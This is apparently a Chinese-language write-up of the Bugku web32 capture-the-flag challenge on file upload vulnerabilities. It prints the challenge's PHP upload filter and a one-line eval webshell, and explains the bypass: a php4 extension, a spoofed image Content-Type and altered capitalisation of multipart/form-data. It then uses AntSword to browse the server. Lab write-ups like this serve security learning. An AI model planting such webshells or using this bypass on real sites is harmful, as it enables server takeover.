先简单说明文件上传漏洞的基本原理:
很简单,就是我们上传的文件是代码文件。上传成功后,我们访问该文件时,该文件将被执行。
所以,前后端肯定会对我们上传的文件作一些限制,不能让你想传啥传啥。
一般后端会通过黑名单,白名单来限制,比如黑名单限制了那种后缀的文件不能被上传,白名单限制只有指定后缀的文件可以被上传。
效果当然是白名单要好一些。黑名单的话,总会被黑客们利用诸如语言特性,比如截断等等,的奇奇怪怪方法绕过黑名单。
一般后端如何判断文件安全与否呢?
- 报文中的content-type ,但这个字段是可以被篡改的。
- 文件大小
- 文件名字,但多是通过白名单验证文件后缀。
中国菜刀,中国蚁剑等工具的使用:
以中国蚁剑为例子:
- 我们上传了一个php文件,称为一句话木马:<?php eval($_POST['ant']); ?>
- 利用中国蚁剑,访问我们上传的代码文件。随后蚁剑将不断访问该文件,并利用ant参数传递一系列可被eval执行的字符串代码。最终实现的效果,是蚁剑为我们呈现了整个网站的文件。
注意:蚁剑建立连接时, url是我们上传的的文件路径,而 连接密码就是,我们一句话代码里的那个post请求的参数,这里是ant。
具体题目分析
这个是bugku的web32,考察文件上传漏洞。
只让上传图片文件,不能上传php文件。
那么如何绕过呢?
这个题似乎有点问题?感觉不看源码做不出来,或许是因为我第一次接触文件上传漏洞。
直接说答案吧。
根据最后结果,查看源代码
<?php
function global_filter(){
$type = $_SERVER["CONTENT_TYPE"];
if (strpos($type,"multipart/form-data") !== False){
$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
$file_ext = strtolower($file_ext);
if (stripos($file_ext,"php") !== False){
die("Invalid File<br />");
}
}
}
?>
<?php
global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){
if ($_FILES["file"]["error"] == 0){
$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
$file_ext = strtolower($file_ext);
$allowexts = array('jpg','gif','jpeg','bmp','php4');
if(!in_array($file_ext,$allowexts)){
die("give me a image file not a php");
}
$_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext;
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. <br />";
}
else{
if (!file_exists('./upload/')){
mkdir ("./upload/");
system("chmod 777 /var/www/html/upload");
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
echo "Upload Success<br>";
$filepath = "upload/" . $_FILES["file"]["name"];
echo "Stored in: " ."<a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";
}
}
}
else{
if($_FILES["file"]["size"] > 0){
echo "You was catched! :) <br />";
}
}
?>
可以看出,基本就是对conten-type, 文件后缀,大小等进行了限制,不满足要求的不让上传。
另外补充:multipart/form-data : 需要在表单中进行文件上传时,content-type使用该格式。
总之,这题有点迷,根据源代码,可知php4后缀在白名单中,修改Content-type为image/jpg,
另外还有修改另一个Content-type,把multipart/form-data中随便一个或者多个字母大写,但是去掉却不行。。。我曹,为什么?
下图为修改后的HTTP报文,红线为被修改过的地方
最终,php文件上传成功。(大概php4后缀等同于php? 有时间查下)
然后利用上边说的中国蚁剑连接我们上传的一句话木马文件,得到整个网站的目录。在网站跟根目录下,找到flag文件